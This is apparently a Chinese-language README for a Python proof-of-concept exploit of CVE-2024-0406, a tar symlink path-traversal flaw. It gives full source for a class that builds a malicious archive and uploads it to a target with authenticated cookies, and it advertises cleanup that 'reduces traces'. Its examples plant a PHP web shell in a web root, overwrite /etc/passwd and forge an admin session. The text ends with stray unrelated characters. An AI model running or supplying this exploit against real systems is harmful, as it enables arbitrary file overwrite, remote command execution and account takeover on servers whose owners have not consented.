CVE-2024-0406 漏洞利用验证框架
一个专业的 Python 概念验证(PoC)工具,用于演示和验证 CVE-2024-0406 漏洞。该漏洞存在于 tar 存档提取库中,攻击者可通过特制的符号链接实现路径遍历,进而覆盖目标系统上的任意文件。
功能特性
- 恶意存档生成 - 自动化创建包含恶意符号链接及其对应payload的 tar 存档
- 符号链接路径遍历 - 可自定义符号链接的目标路径,实现任意目录穿越
- 灵活的数据注入 - 支持自定义写入目标文件的任意内容(如伪造的 session 数据、配置文件等)
- 内置上传模块 - 提供 HTTP 上传功能,可直接将生成的恶意存档发送至目标端点
- 会话管理支持 - 支持在请求中添加 cookies 和自定义 headers,模拟认证状态
- 自动清理机制 - 操作完成后自动删除生成的临时存档文件,减少痕迹
- 完全可配置 - 所有关键参数(目标路径、payload、文件名等)均可通过构造函数灵活设置
安装指南
系统要求
- Python 3.6 或更高版本
- pip 包管理工具
依赖项安装
# 克隆仓库(或直接下载脚本)
git clone https://github.com/yourusername/CVE-2024-0406-PoC.git
cd CVE-2024-0406-PoC
# 安装依赖
pip install requests
无需其他复杂依赖,核心库(os, tarfile, io, requests)均为 Python 标准库或常用第三方库。
使用说明
基础使用示例
from symlink_exploit import SymlinkArchiveExploit
# 初始化漏洞利用实例
exploit = SymlinkArchiveExploit(
target_path="/tmp/sessions/", # 目标路径(路径遍历目标)
payload_data='{"username":"attacker","role":"admin"}', # 要写入的数据
symlink_name="symlink_pyld", # 符号链接名称
archive_name="malicious.tar" # 输出的恶意存档名
)
# 生成恶意存档
if exploit.create_malicious_archive():
# 上传存档到目标服务器
exploit.upload_archive(
upload_url="http://target-site.com/user/upload",
cookies={"session": "valid_session_id"}, # 可选:认证 cookie
headers={"User-Agent": "CVE-2024-0406 Client"} # 可选:自定义 headers
)
典型使用场景
场景1:本地测试与验证
# 仅生成恶意存档,不进行上传
exploit = SymlinkArchiveExploit("/etc/passwd", "hacked", "evil_link", "test.tar")
exploit.create_malicious_archive()
# 手动将 test.tar 提供给目标应用程序进行提取测试
场景2:远程漏洞验证(带认证)
exploit = SymlinkArchiveExploit(
target_path="/var/www/html/config.php",
payload_data="<?php system($_GET['cmd']); ?>",
symlink_name="config_symlink",
archive_name="exploit.tar"
)
if exploit.create_malicious_archive():
exploit.upload_archive(
upload_url="https://vulnerable-app.com/api/upload",
cookies={"PHPSESSID": "authenticated_session"},
headers={"X-Requested-With": "XMLHttpRequest"}
)
核心 API 概览
| 方法 | 参数 | 描述 |
|---|---|---|
__init__ | target_path, payload_data, symlink_name, archive_name | 初始化漏洞利用实例 |
create_malicious_archive() | 无 | 生成恶意 tar 存档,返回布尔值表示成功与否 |
upload_archive() | upload_url, cookies, headers | 上传生成的存档到指定 URL,自动执行清理 |
cleanup() | 无 | 手动删除生成的存档文件(通常自动调用) |
核心代码
主漏洞利用类实现
import os
import tarfile
import io
import requests
from typing import Optional, Dict
class SymlinkArchiveExploit:
"""
CVE-2024-0406 漏洞利用核心类
通过创建包含恶意符号链接的 tar 存档,实现路径遍历攻击
"""
def __init__(
self,
target_path: str,
payload_data: str,
symlink_name: str = "symlink_pyld",
archive_name: str = "malicious.tar"
):
"""
初始化漏洞利用实例
:param target_path: 符号链接指向的目标路径(攻击目标)
:param payload_data: 要写入目标文件的字符串数据
:param symlink_name: 存档中的符号链接/文件名
:param archive_name: 输出的恶意存档文件名
"""
self.target_path = target_path
self.payload_data = payload_data
self.symlink_name = symlink_name
self.archive_name = archive_name
def create_malicious_archive(self) -> bool:
"""
创建恶意 tar 存档的核心方法
攻击原理:
1. 创建一个指向目标路径的符号链接条目
2. 创建一个与符号链接同名的普通文件条目(包含payload)
3. 提取时,如果应用程序未正确处理同名条目,payload将覆盖目标路径
:return: 创建成功返回 True,否则 False
"""
try:
with tarfile.open(self.archive_name, "w") as tar:
# 创建符号链接条目 - 用于指示提取路径
symlink_info = tarfile.TarInfo(name=self.symlink_name)
symlink_info.type = tarfile.SYMTYPE
symlink_info.linkname = self.target_path
tar.addfile(symlink_info)
# 创建同名的普通文件条目 - 包含实际要写入的数据
payload_info = tarfile.TarInfo(name=self.symlink_name)
payload_info.size = len(self.payload_data)
tar.addfile(payload_info, io.BytesIO(self.payload_data.encode('utf-8')))
return True
except Exception as e:
print(f"创建存档时出错: {str(e)}")
return False
def upload_archive(
self,
upload_url: str,
cookies: Optional[Dict] = None,
headers: Optional[Dict] = None
) -> bool:
"""
将生成的恶意存档上传到目标服务器
:param upload_url: 文件上传接口的完整 URL
:param cookies: 可选,用于认证的 cookies
:param headers: 可选,自定义 HTTP headers
:return: 上传成功返回 True,否则 False
"""
try:
with open(self.archive_name, 'rb') as f:
files = {'archive': (self.archive_name, f, 'application/x-tar')}
response = requests.post(
upload_url,
files=files,
cookies=cookies,
headers=headers
)
if response.status_code == 200:
print("上传成功")
return True
print(f"上传失败: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"上传出错: {str(e)}")
return False
finally:
# 无论上传成功与否,都清理本地临时文件
self.cleanup()
def cleanup(self) -> None:
"""删除生成的临时存档文件,避免残留"""
if os.path.exists(self.archive_name):
os.remove(self.archive_name)
print("临时文件已清理")
命令行使用示例
if __name__ == "__main__":
# 命令行直接运行时的示例配置
exploit = SymlinkArchiveExploit(
target_path="/tmp/sessions/", # 攻击目标:session 存储目录
payload_data='{"username":"attacker","id":1,"role":"admin"}', # 伪造的 session 数据
symlink_name="symlink_pyld",
archive_name="malicious.tar"
)
if exploit.create_malicious_archive():
# 上传到测试环境
exploit.upload_archive(
upload_url="http://localhost:1337/user/upload",
cookies={"session": "cookieValid"},
headers={"User-Agent": "CVE-2024-0406 Client"}
)
```FINISHED
6HFtX5dABrKlqXeO5PUv/+DA2imvAlUDELFoY0HBFvK1rywrowUcNMxrq9QjdrLq